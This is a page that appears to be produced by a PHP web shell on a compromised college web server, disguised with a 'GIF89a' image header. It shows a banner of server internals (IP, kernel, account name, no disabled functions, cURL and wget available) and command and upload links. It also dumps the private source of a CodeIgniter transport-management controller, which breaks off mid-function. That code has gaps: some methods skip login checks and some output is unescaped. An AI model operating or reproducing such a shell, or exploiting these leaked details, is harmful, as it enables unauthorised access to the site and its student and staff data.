GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.15.143.18 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../web/../alumni/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Description of transport * * @author Softpro India Pvt. Ltd. */ class Transport extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('admin/TransportManagement'); $this->load->model("admin/CourseManagement"); $this->load->model("admin/StudentManagement"); $this->load->model("admin/RoleManagement"); $this->load->model("admin/FeeManagement"); $this->load->model("admin/HostelManagement"); $this->load->model("admin/StaffManagement"); $this->load->model("admin/DepartmentManagement"); $this->load->model("admin/SessionManagement"); $this->load->model("admin/DesignationManagement"); } /* Vehicle Type Stuff */ public function vehicleTypes() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allVehicleTypes'] = $this->TransportManagement->getAllVehicleTypes()->result(); $this->load->view('admin/transport/vehicleTypes', $viewData); } else { redirect("admin/"); } } public function createVehicleType() { if ($this->sessionvalidator->isLoggedIn()) { $this->load->view('admin/transport/createVehicleType'); } else { redirect("admin/"); } } public function saveNewVehicleType() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('vTypeName', 'Vehicle Type Name', 'trim|required', array('required' => 'Vehicle Type Name Can Not Be Blank.')); $this->form_validation->set_rules('vTypeShortName', 'Vehicle Type Short Name', 'trim|required', array('required' => 'Vehicle Type Short Name Can Not Be Blank.')); $queryByVehTypeName = $this->TransportManagement->getVehicleTypeInfoByName(trim($this->input->post('vTypeName'))); $vTypeInfoByName = $queryByVehTypeName->result(); $queryByVehTypeShortName = $this->TransportManagement->getVehicleTypeInfoByShortName(trim($this->input->post('vTypeShortName'))); $vTypeInfoByShortName = $queryByVehTypeShortName->result(); if ($this->form_validation->run() == FALSE) { $this->createVehicleType(); } else if (sizeof($vTypeInfoByName)) { $this->session->set_flashdata('errorMessage', "A Vehicle Type With This Name Already Exits. Please choose A Different Name."); $this->createVehicleType(); } else if (sizeof($vTypeInfoByShortName)) { $this->session->set_flashdata('errorMessage', "A Vehicle Type With This Short Name Already Exits. Please Choose A Different Abbreviation."); $this->createVehicleType(); } else { $newVehicleTypeInfo = array( 'vtm_name' => addslashes(trim($this->input->post('vTypeName'))), 'vtm_short_name' => addslashes(trim($this->input->post('vTypeShortName'))), 'vtm_added_on' => date("Y-m-d H:i:s"), 'vtm_added_by' => $this->session->userdata("adminData")["smember_id"], 'vtm_updated_on' => date("Y-m-d H:i:s"), 'vtm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->TransportManagement->createNewVehicleType($newVehicleTypeInfo)) { $this->session->set_flashdata('successMessage', 'Vehicle Type Created Successfully.'); redirect("admin/Transport/vehicleTypes"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Vehicle Type. Try Later.'); redirect("admin/Transport/vehicleTypes"); } } } else { redirect("admin/"); } } public function editVehicleType($vtm_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['vehicleTypInfo'] = $this->TransportManagement->getVehicleTypeInfoBy($vtm_id)->result()[0]; $this->load->view('admin/transport/editVehicleType', $viewData); } else { redirect("admin/"); } } public function updateVehicleType() { if ($this->sessionvalidator->isLoggedIn()) { $vtm_id = $this->input->post('vtmId'); $this->form_validation->set_rules('vTypeName', 'Vehicle Type Name', 'trim|required', array('required' => 'Vehicle Type Name Can Not Be Blank.')); $this->form_validation->set_rules('vTypeShortName', 'Vehicle Type Short Name', 'trim|required', array('required' => 'Vehicle Type Short Name Can Not Be Blank.')); if ($this->form_validation->run() == FALSE) { $this->editVehicleType($vtm_id); } else if (!$this->TransportManagement->isVehicleTypeNameSafeUpdate($vtm_id, trim($this->input->post('vTypeName')))) { $this->session->set_flashdata('errorMessage', "A Vehicle Type With This Name (" . trim($this->input->post('vTypeName')) . ") Already Exits. Please Choose A Different Name."); $this->editVehicleType($vtm_id); } else if (!$this->TransportManagement->isVehicleTypeShortNameSafeUpdate($vtm_id, trim($this->input->post('vTypeShortName')))) { $this->session->set_flashdata('errorMessage', "A Vehicle Type With This Short Name (" . trim($this->input->post('vTypeShortName')) . ") Already Exits. Please Choose A Different Abbreviation."); $this->editVehicleType($vtm_id); } else { $vehicleTypeUpdateInfo = array( 'vtm_id' => $vtm_id, 'vtm_name' => addslashes(trim($this->input->post('vTypeName'))), 'vtm_short_name' => addslashes(trim($this->input->post('vTypeShortName'))), 'vtm_updated_on' => date("Y-m-d H:i:s"), 'vtm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->TransportManagement->updateVehicleTypeInfo($vehicleTypeUpdateInfo)) { $this->session->set_flashdata('successMessage', 'Vehicle Type Updated Successfully.'); redirect("admin/Transport/vehicleTypes"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Vehicle Type. Try Later.'); redirect("admin/Transport/vehicleTypes"); } } } else { redirect("admin/"); } } public function toggleVehicleTypeStatus($vtm_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $vehicleTypeUpdateData = array( 'vtm_id' => $vtm_id, 'vtm_updated_on' => date("Y-m-d H:i:s"), 'vtm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'vtm_active_status' => $toUpdateStatus ); if ($this->TransportManagement->updateVehicleTypeInfo($vehicleTypeUpdateData)) { $this->session->set_flashdata('successMessage', 'Vehicle Type Status Updated Successfully.'); redirect("admin/Transport/vehicleTypes"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Vehicle Type Status. Try Later.'); redirect("admin/Transport/vehicleTypes"); } } else { redirect("admin/"); } } public function toggleVehicleTypeDeleteStatus($vtm_id, $status) { if ($this->sessionvalidator->isLoggedIn()) { $vehicleTypeUpdateData = array( 'vtm_id' => $vtm_id, 'vtm_updated_on' => date("Y-m-d H:i:s"), 'vtm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'vtm_delete_status' => $status ); if ($this->TransportManagement->updateVehicleTypeInfo($vehicleTypeUpdateData)) { $this->session->set_flashdata('successMessage', 'Vehicle Type Deleted Successfully.'); redirect("admin/Transport/vehicleTypes"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Vehicle Type. Try Later.'); redirect("admin/Transport/vehicleTypes"); } } else { redirect("admin/"); } } /* Vehcile Stuffs */ public function vehicles() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allVehicles'] = $this->TransportManagement->getAllVehicles()->result(); $this->load->view('admin/transport/vehicles', $viewData); } else { redirect("admin/"); } } public function createVehicle() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['allVehicleTypes'] = $this->TransportManagement->getAllNonDeletedActiveVehicleTypes()->result(); $this->load->view('admin/transport/createVehicle', $viewData); } else { redirect("admin/"); } } public function saveNewVehicle() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('vType', 'Vehicle Type', 'trim|required', array('required' => 'Please Select Vehicle Type.')); $this->form_validation->set_rules('vSrNo', 'Vehicle Serial Number', 'trim|required|numeric', array('required' => 'Vehicle Serial Number Is Required.')); $this->form_validation->set_rules('vRegNo', 'Vehicle Registration Number', 'trim|required', array('required' => 'Vehicle Registration Number Is Required.')); $this->form_validation->set_rules('vCapacity', 'Vehicle Seating Capacity', 'trim|required|numeric', array('required' => 'Vehicle Seating Capacity Is Required.')); $this->form_validation->set_rules('vCommercial', 'Is Vehicle Commercial', 'trim|required', array('required' => 'Please Choose If Vehicle Is Commercial Or Not.')); $queryByVehSrNo = $this->TransportManagement->getVehicleInfoBySerialNumber(trim($this->input->post('vSrNo'))); $vehicleInfoSrNo = $queryByVehSrNo->result(); $queryByVehRegNo = $this->TransportManagement->getVehicleInfoByRegistrationNumber(trim($this->input->post('vRegNo'))); $vehicleInfoByRegNo = $queryByVehRegNo->result(); if ($this->form_validation->run() == FALSE) { $this->createVehicle(); } else if (sizeof($vehicleInfoSrNo)) { $this->session->set_flashdata('errorMessage', "A Vehicle With This Serial Number (" . trim($this->input->post('vSrNo')) . ") Already Exits. Please choose A Different Serial Number."); $this->createVehicle(); } else if (sizeof($vehicleInfoByRegNo)) { $this->session->set_flashdata('errorMessage', "A Vehicle With This Registration (" . trim($this->input->post('vRegNo')) . ") Number Already Exits."); $this->createVehicle(); } else { $newVehicleInfo = array( 'vm_reg_no' => addslashes(trim($this->input->post('vRegNo'))), 'vm_sr_no' => trim($this->input->post('vSrNo')), 'vm_seat_cap' => trim($this->input->post('vCapacity')), 'vm_make' => (trim($this->input->post('vMake')) == "" ) ? NULL : addslashes(trim($this->input->post('vMake'))), 'vm_model' => (trim($this->input->post('vModel')) == "") ? NULL : addslashes(trim($this->input->post('vModel'))), 'vm_enroll_date' => ($this->input->post('vEnrollDate') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('vEnrollDate')))), 'vm_purchase_date' => ($this->input->post('vPurchaseDate') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('vPurchaseDate')))), 'vm_color' => (trim($this->input->post('vColor')) == "") ? NULL : addslashes(trim($this->input->post('vColor'))), 'vm_driver_name' => (trim($this->input->post('vDriverName')) == "") ? NULL : addslashes(trim($this->input->post('vDriverName'))), 'vm_commercial_flag' => $this->input->post('vCommercial'), 'vm_purpose' => ($this->input->post('vPurpose') == "") ? NULL : $this->input->post('vPurpose'), 'vtm_id' => $this->input->post('vType'), 'vm_added_on' => date("Y-m-d H:i:s"), 'vm_added_by' => $this->session->userdata("adminData")["smember_id"], 'vm_updated_on' => date("Y-m-d H:i:s"), 'vm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->TransportManagement->createNewVehicle($newVehicleInfo)) { $this->session->set_flashdata('successMessage', 'Vehicle Created Successfully.'); redirect("admin/Transport/vehicles"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Vehicle. Try Later.'); redirect("admin/Transport/vehicles"); } } } else { redirect("admin/"); } } public function editVehicle($vm_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['allVehicleTypes'] = $this->TransportManagement->getAllNonDeletedActiveVehicleTypes()->result(); $viewData['vehicleInfo'] = $this->TransportManagement->getVehicleInfoBy($vm_id)->result()[0]; $this->load->view('admin/transport/editVehicle', $viewData); } else { redirect("admin/"); } } public function updateVehicle() { if ($this->sessionvalidator->isLoggedIn()) { $vm_id = $this->input->post("vmId"); $this->form_validation->set_rules('vType', 'Vehicle Type', 'trim|required', array('required' => 'Please Select Vehicle Type.')); $this->form_validation->set_rules('vSrNo', 'Vehicle Serial Number', 'trim|required|numeric', array('required' => 'Vehicle Serial Number Is Required.')); $this->form_validation->set_rules('vRegNo', 'Vehicle Registration Number', 'trim|required', array('required' => 'Vehicle Registration Number Is Required.')); $this->form_validation->set_rules('vCapacity', 'Vehicle Seating Capacity', 'trim|required|numeric', array('required' => 'Vehicle Seating Capacity Is Required.')); $this->form_validation->set_rules('vCommercial', 'Is Vehicle Commercial', 'trim|required', array('required' => 'Please Choose If Vehicle Is Commercial Or Not.')); if ($this->form_validation->run() == FALSE) { $this->editVehicle($vm_id); } else if (!$this->TransportManagement->isVehicleSerialNumberSafeUpdate($vm_id, trim($this->input->post('vSrNo')))) { $this->session->set_flashdata('errorMessage', "A Vehicle With This Serial Number (" . trim($this->input->post('vSrNo')) . ") Already Exits. Please choose A Different Serial Number."); $this->editVehicle($vm_id); } else if (!$this->TransportManagement->isVehicleRegistrationNumberSafeUpdate($vm_id, trim($this->input->post('vRegNo')))) { $this->session->set_flashdata('errorMessage', "A Vehicle With This Registration (" . trim($this->input->post('vRegNo')) . ") Number Already Exits."); $this->editVehicle($vm_id); } else { $vehicleUpdateInfo = array( 'vm_id' => $vm_id, 'vm_reg_no' => addslashes(trim($this->input->post('vRegNo'))), 'vm_sr_no' => trim($this->input->post('vSrNo')), 'vm_seat_cap' => trim($this->input->post('vCapacity')), 'vm_make' => (trim($this->input->post('vMake')) == "" ) ? NULL : addslashes(trim($this->input->post('vMake'))), 'vm_model' => (trim($this->input->post('vModel')) == "") ? NULL : addslashes(trim($this->input->post('vModel'))), 'vm_enroll_date' => ($this->input->post('vEnrollDate') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('vEnrollDate')))), 'vm_purchase_date' => ($this->input->post('vPurchaseDate') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('vPurchaseDate')))), 'vm_color' => (trim($this->input->post('vColor')) == "") ? NULL : addslashes(trim($this->input->post('vColor'))), 'vm_driver_name' => (trim($this->input->post('vDriverName')) == "") ? NULL : addslashes(trim($this->input->post('vDriverName'))), 'vm_commercial_flag' => $this->input->post('vCommercial'), 'vm_purpose' => ($this->input->post('vPurpose') == "") ? NULL : $this->input->post('vPurpose'), 'vtm_id' => $this->input->post('vType'), 'vm_updated_on' => date("Y-m-d H:i:s"), 'vm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->TransportManagement->updateVehicleInfo($vehicleUpdateInfo)) { $this->session->set_flashdata('successMessage', 'Vehicle Updated Successfully.'); redirect("admin/Transport/vehicles"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Vehicle. Try Later.'); redirect("admin/Transport/vehicles"); } } } else { redirect("admin/"); } } public function toggleVehicleStatus($vm_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $vehicleUpdateData = array( 'vm_id' => $vm_id, 'vm_updated_on' => date("Y-m-d H:i:s"), 'vm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'vm_active_status' => $toUpdateStatus ); if ($this->TransportManagement->updateVehicleInfo($vehicleUpdateData)) { $this->session->set_flashdata('successMessage', 'Vehicle Status Updated Successfully.'); redirect("admin/Transport/vehicles"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Vehicle Status. Try Later.'); redirect("admin/Transport/vehicles"); } } else { redirect("admin/"); } } public function toggleVehicleDeleteStatus($vm_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $vehicleUpdateData = array( 'vm_id' => $vm_id, 'vm_updated_on' => date("Y-m-d H:i:s"), 'vm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'vm_delete_status' => $toUpdateStatus ); if ($this->TransportManagement->updateVehicleInfo($vehicleUpdateData)) { $this->session->set_flashdata('successMessage', 'Vehicle Deleted Successfully.'); redirect("admin/Transport/vehicles"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Vehicle. Try Later.'); redirect("admin/Transport/vehicles"); } } else { redirect("admin/"); } } public function getVehicleFullInfo() { $vm_id = $_POST['vehicle_id']; $vehicle_info = $this->TransportManagement->getVehicleInfoBy($vm_id)->result()[0]; $vehiclePurpose = "NA"; if ($vehicle_info->vm_purpose == "SDS") { $vehiclePurpose = "For Day-Scholars"; } else if ($vehicle_info->vm_purpose == "SGH") { $vehiclePurpose = "For Girls Hostel"; } else if ($vehicle_info->vm_purpose == "SBH") { $vehiclePurpose = "For Boys Hostel"; } else if ($vehicle_info->vm_purpose == "ESE") { $vehiclePurpose = "For Staff/Employees"; } else if ($vehicle_info->vm_purpose == "AMB") { $vehiclePurpose = "Ambulance"; } else if ($vehicle_info->vm_purpose == "OTH") { $vehiclePurpose = "Others"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'vm_id' => $vehicle_info->vm_id, 'vm_type' => stripslashes($vehicle_info->vtm_name) . "(" . stripslashes($vehicle_info->vtm_short_name) . ")", 'vm_sr_no' => $vehicle_info->vm_sr_no, 'vm_reg_no' => stripslashes($vehicle_info->vm_reg_no), 'vm_seat_capacity' => $vehicle_info->vm_seat_cap, 'vm_make' => ($vehicle_info->vm_make == "" || $vehicle_info->vm_make == NULL) ? "NA" : stripslashes($vehicle_info->vm_make), 'vm_model' => ($vehicle_info->vm_model == "" || $vehicle_info->vm_model == NULL) ? "NA" : stripslashes($vehicle_info->vm_model), 'vm_inservice_date' => ($vehicle_info->vm_enroll_date == "" || $vehicle_info->vm_enroll_date == NULL) ? "" : date('d-m-Y', strtotime($vehicle_info->vm_enroll_date)), 'vm_purchase_date' => ($vehicle_info->vm_purchase_date == "" || $vehicle_info->vm_purchase_date == NULL) ? "" : date('d-m-Y', strtotime($vehicle_info->vm_purchase_date)), 'vm_color' => ($vehicle_info->vm_color == "" || $vehicle_info->vm_color == NULL) ? "NA" : $vehicle_info->vm_color, 'vm_driver_name' => ($vehicle_info->vm_driver_name == "" || $vehicle_info->vm_driver_name == NULL) ? "" : stripslashes($vehicle_info->vm_driver_name), 'vm_commercial_flag' => ($vehicle_info->vm_commercial_flag == "T") ? "Yes" : "No", 'vm_purpose' => $vehiclePurpose, 'vm_active_status' => ($vehicle_info->vm_active_status == "T") ? "<i class='fa fa-check' style='color:#00FF00;'></i> Active" : "<i class='fa fa-ban' style='color:#FF0000;'></i> Disabled", 'vm_delete_status' => ($vehicle_info->vm_delete_status == "T") ? "<i class='fa fa-trash' style='color:#FF0000;'></i> Deleted" : "Not Deleted", 'vm_added_by' => $vehicle_info->addedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($vehicle_info->vm_added_on)), 'vm_updated_by' => $vehicle_info->updatedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($vehicle_info->vm_updated_on)) ); echo json_encode($responseData); } /* end Vehicle Stuffs */ ////Route//// /// Allot Vehicle to Route Stuff /// public function allotedVehiclesToRoute() { if ($this->sessionvalidator->isLoggedIn()) { $viewData["allotments"] = $this->TransportManagement->getAllotedVehicle()->result(); $this->load->view("admin/transport/allotedVehiclesToRoute", $viewData); } else { redirect("admin/"); } } public function allotVehicleToRoute() { if ($this->sessionvalidator->isLoggedIn()) { $viewData["routes"] = $this->FeeManagement->getActiveNonDeletedTransportFeeHeads()->result(); $viewData["vehicleType"] = $this->TransportManagement->getAllNonDeletedActiveVehicleTypes()->result(); $this->load->view("admin/transport/allotVehiclesToRoute", $viewData); } else { redirect("admin/"); } } public function vehicleAllotment() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules("vehicle_type", "Vehicle Type", "required", array("required" => "Please Select Vehicle Type")); $this->form_validation->set_rules("vehicle", "Vehicle name", "required", array("required" => "Please Select Vehicle Name")); $this->form_validation->set_rules("route", "Route name", "required", array("required" => "Please Select Route")); if ($this->form_validation->run() == false) { $this->allotVehicleToRoute(); } else { $vehicle_id = $this->input->post("vehicle"); $route_id = $this->input->post("route"); $allotments = array( "vm_id" => $vehicle_id, "fhom_id" => $route_id, "rva_added_on" => date("Y-m-d H:i:s"), "rva_updated_on" => date("Y-m-d H:i:s"), "rva_added_by" => $this->session->userdata("adminData")["smember_id"], "rva_updated_by" => $this->session->userdata("adminData")["smember_id"] ); if ($this->TransportManagement->vehicleAllotToRoute($allotments)) { $this->session->set_flashdata("successMessage", "Vehicle Alloted Successfully."); $this->allotVehicleToRoute(); } else { $this->session->set_flashdata("errorMessage", "Failed To Allot Vehicle"); $this->allotVehicleToRoute(); } } } else { redirect("admin/"); } } public function getActiveVehicleByVehicleType() { if ($this->sessionvalidator->isLoggedIn()) { $vtm_id = $this->input->post("vehicle_type"); $vehicle = $this->input->post("vehicle"); $query = $this->TransportManagement->getSafeAllVehiclesByType($vtm_id, $vehicle); $data = $query->result(); $options = "<option value=''>-Select Vehicle-</option>"; for ($i = 0; $i < (sizeof($data)); $i++) { $selected = ($vehicle == $data[$i]->vm_id) ? "selected" : ""; $options .= "<option value=" . $data[$i]->vm_id . " . $selected . >" . $data[$i]->vm_make . " [" . $data[$i]->vm_reg_no . "]" . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'vehicle' => $options ); echo json_encode($responseData); } else { redirect("admin/"); } } public function toggleVehicleAllotToRouteStatus($rva_id, $changedStatus) { if ($this->sessionvalidator->isLoggedIn()) { $UpdateData = array( 'rva_updated_on' => date("Y-m-d H:i:s"), 'rva_active_status' => $changedStatus ); if ($this->TransportManagement->updateVehicleAllotStatus($UpdateData, $rva_id)) { $this->session->set_flashdata('successMessage', 'Route vehicle Status Successfully.'); redirect("admin/Transport/allotedVehiclesToRoute"); } else { $this->session->set_flashdata('errorMessage', 'Failed To Update Sub-Route Status.'); redirect(current_url()); } } } public function editVehicleToRouteAllotment($rva_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData["vehicleType"] = $this->TransportManagement->getAllNonDeletedActiveVehicleTypes()->result(); $viewData["allotments"] = $this->TransportManagement->getAllVehiclesByRouteVehicleAllotmentId($rva_id)->result()[0]; $this->load->view("admin/transport/editVehicleToRouteAllotment", $viewData); } else { redirect("admin/"); } } public function updateVehicleToRouteAllotment() { if ($this->sessionvalidator->isLoggedIn()) { $rva_id = $this->input->post("rva_id"); $this->form_validation->set_rules("vehicle_type", "Vehicle Type", "required", array("required" => "Please Select Vehicle Type")); $this->form_validation->set_rules("vehicle", "Vehicle name", "required", array("required" => "Please Select Vehicle Name")); if ($this->form_validation->run() == false) { $this->editVehicleToRouteAllotment($rva_id); } else { $vehicle_id = $this->input->post("vehicle"); $allotments = array( "vm_id" => $vehicle_id, "rva_added_on" => date("Y-m-d H:i:s"), "rva_updated_on" => date("Y-m-d H:i:s"), "rva_added_by" => $this->session->userdata("adminData")["smember_id"], "rva_updated_by" => $this->session->userdata("adminData")["smember_id"] ); if ($this->TransportManagement->updateVehicleAllotStatus($allotments, $rva_id)) { $this->session->set_flashdata("successMessage", "Vehicle Alloted Successfully."); $this->allotedVehiclesToRoute(); } else { $this->session->set_flashdata("errorMessage", "Failed To Allot Vehicle"); $this->editVehicleToRouteAllotment($rva_id); } } } else { redirect("admin/"); } } /// End Allot Vehicle to Route Stuff /// ///Driver to Vehcile Allotment Stuffs/// public function allotedDriversToVehicle() { $viewData["allotments"] = $this->StaffManagement->getAllotedDrivers()->result(); $this->load->view("admin/transport/allotedDriversToVehicle", $viewData); } public function allotDriverToVehicle() { $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result(); $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result(); $viewData["vehicleType"] = $this->TransportManagement->getAllNonDeletedActiveVehicleTypes()->result(); $this->load->view("admin/transport/allotDriverToVehicle", $viewData); } public function getActiveVehicleByVehicleTypeForDriver() { $vtm_id = $this->input->post("vehicle_type"); $query = $this->TransportManagement->getActiveVehicleByVehicleTypeForDriver($vtm_id); $data = $query->result(); $options = "<option value=''>-Select Vehicle-</option>"; for ($i = 0; $i < (sizeof($data)); $i++) { $options .= "<option value=" . $data[$i]->vm_id . ">" . $data[$i]->vm_make . " [" . $data[$i]->vm_reg_no . "]" . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'vehicle' => $options ); echo json_encode($responseData); } public function getAllEmployeesByDepartmentAndDesignationForDropDown() { $sub_dept_id = $_POST['sub_dept_id']; $desig_type = $_POST['desig_type']; $query = $this->StaffManagement->getNonAllocatedWorkingDriverUnderGivenSubDepartmentAndDesignationType($sub_dept_id, $desig_type); $empList = $query->result(); $options = "<option value=''>Select Employee</option>"; for ($i = 0; $i < (sizeof($empList)); $i++) { $options .= "<option value='" . $empList[$i]->smember_id . "'>" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'emp_list' => $options ); echo json_encode($responseData); } public function saveDriverToVehicleAllotment() { $this->form_validation->set_rules("empDept", "Department", "required", array("required" => "Please Select Department")); $this->form_validation->set_rules("empSubDept", "Sub Department", "required", array("required" => "Please Select Driver")); $this->form_validation->set_rules("empDesigCat", "Sub Department", "required", array("required" => "Please Select Driver")); $this->form_validation->set_rules("vehicle_type", "Vehicle Type", "required", array("required" => "Please Select Vehicle Type")); $this->form_validation->set_rules("vehicle", "Vehicle name", "required", array("required" => "Please Select Vehicle Name")); $this->form_validation->set_rules("empInfo", "Driver name", "required", array("required" => "Please Select Driver")); if ($this->form_validation->run() == false) { $this->allotDriverToVehicle(); } else { $vehicle_id = $this->input->post("vehicle"); $smember_id = $this->input->post("empInfo"); $allotments = array( "vm_id" => $vehicle_id, "smember_id" => $smember_id, "vda_alloted_on" => date("Y-m-d H:i:s"), "vda_updated_on" => date("Y-m-d H:i:s"), "vda_alloted_by" => $this->session->userdata("adminData")["smember_id"], "vda_updated_by" => $this->session->userdata("adminData")["smember_id"] ); if ($this->StaffManagement->driverAllotToVehicle($allotments)) { $this->session->set_flashdata("successMessage", "Driver Alloted Successfully."); $this->allotedDriversToVehicle(); } else { $this->session->set_flashdata("errorMessage", "Failed To Allot Driver"); $this->allotDriverToVehicle(); } } } public function deleteDriverAllotment($vda_id) { if ($this->sessionvalidator->isLoggedIn()) { $DriverVehicleAllotUpdateData = array( 'vda_updated_on' => date("Y-m-d H:i:s"), 'vda_updated_by' => $this->session->userdata("adminData")["smember_id"], 'vda_delete_status' => 'T' ); if ($this->TransportManagement->updateDriverVehicleAllot($DriverVehicleAllotUpdateData, $vda_id)) { $this->session->set_flashdata('successMessage', 'Driver Deleted Successfully.'); redirect("admin/Transport/allotedDriversToVehicle"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Driver Allotment Info. Try Later.'); redirect("admin/Transport/allotedDriversToVehicle"); } } else { redirect("admin/"); } } ///End Driver to Vehcile Allotment Stuffs/// ///Student to Vehcile Allotment Stuffs/// public function allotedVehiclesToStudent() { if ($this->sessionvalidator->isLoggedIn()) { $viewData["routes"] = $this->TransportManagement->getActiveRoutesVehicleAlloted()->result(); $viewData["vehicles"] = $this->TransportManagement->getAllVehicles()->result(); $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result(); $viewData['selectedSemOrYear'] = ""; $viewData['selectedSession'] = ""; $viewData['selectedRoute'] = ""; $viewData['selectedVehicle'] = ""; $viewData['allotmentData'] = array(); if (isset($_POST['filterSubmitBtn'])) { $reqCourse = trim($this->input->post("course")); $reqSemOrYear = trim($this->input->post("subjectCourseSemOrYear")); $reqRoute = trim($this->input->post("route")); $reqVehicle = trim($this->input->post("vehicle")); $reqSession = trim($this->input->post("session")); $viewData['selectedSession'] = $reqSession; $viewData['selectedSemOrYear'] = $reqSemOrYear; $viewData['selectedRoute'] = $reqRoute; $viewData['selectedVehicle'] = $reqVehicle; $viewData['allotmentData'] = $this->TransportManagement->getAllottedStudentToVehicleInfoBy($reqCourse, $reqSemOrYear, $reqRoute, $reqVehicle, $reqSession)->result(); $this->load->view('admin/transport/allotedVehiclesToStudent', $viewData); } else { $this->load->view('admin/transport/allotedVehiclesToStudent', $viewData); } } else { redirect("admin/"); } } public function allotVehicleToStudent() { if ($this->sessionvalidator->isLoggedIn()) { $viewData["routes"] = $this->TransportManagement->getActiveRoutesVehicleAlloted()->result(); $viewData["vehicles"] = $this->TransportManagement->getAllVehicles()->result(); $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result(); $viewData['selectedSemOrYear'] = ""; $viewData['selectedSession'] = ""; $viewData['selectedRoute'] = ""; $viewData['selectedVehicle'] = ""; $viewData['allotmentData'] = array(); if (isset($_POST['filterSubmitBtn'])) { $reqCourse = trim($this->input->post("course")); $reqSemOrYear = trim($this->input->post("CourseSemOrYear")); $reqRoute = trim($this->input->post("route")); $reqVehicle = trim($this->input->post("vehicle")); $reqSession = trim($this->input->post("session")); $viewData['selectedSession'] = $reqSession; $viewData['selectedSemOrYear'] = $reqSemOrYear; $viewData['selectedRoute'] = $reqRoute; $viewData['selectedVehicle'] = $reqVehicle; $viewData['allotmentData'] = $this->TransportManagement->getAllStudentWhoseFeesIsPaidBy($reqCourse, $reqSemOrYear, $reqRoute, $reqSession)->result(); $viewData['vehicleList'] = $this->TransportManagement->getAllVehiclesByRoute($reqRoute)->result(); $this->load->view('admin/transport/allotVehicleToStudent', $viewData); unset($_POST['filterSubmitBtn']); } else if (isset($_POST['allotBtn'])) { $selectedStudents = $this->input->post('selectedStudents'); if ($selectedStudents) { $allotmentData = array(); for ($i = 0; $i < sizeof($selectedStudents); $i++) { array_push($allotmentData, array( 'tspi_id' => $selectedStudents[$i], 'rva_id' => $this->input->post('vehicle'), 'vsa_semester' => $this->input->post('semester'), 'vsa_session_id' => trim($this->input->post("session")), 'vsa_allotted_on' => date("Y-m-d H:i:s"), 'vsa_allotted_by' => $this->session->userdata("adminData")["smember_id"], 'vsa_updated_on' => date("Y-m-d H:i:s"), 'vsa_updated_by' => $this->session->userdata("adminData")["smember_id"] )); } if ($this->TransportManagement->createNewVehicleAllotmentMulti($allotmentData)) { $this->session->set_flashdata('successMessage', 'Vehicle Set Allotted Successfully.'); redirect("admin/Transport/allotVehicleToStudent"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Vehicle Set To Student. Try Later.'); redirect(current_url()); } } } else { $this->load->view('admin/transport/allotVehicleToStudent', $viewData); } } else { redirect("admin/"); } } public function updateStudentVehicleAllotment() { if 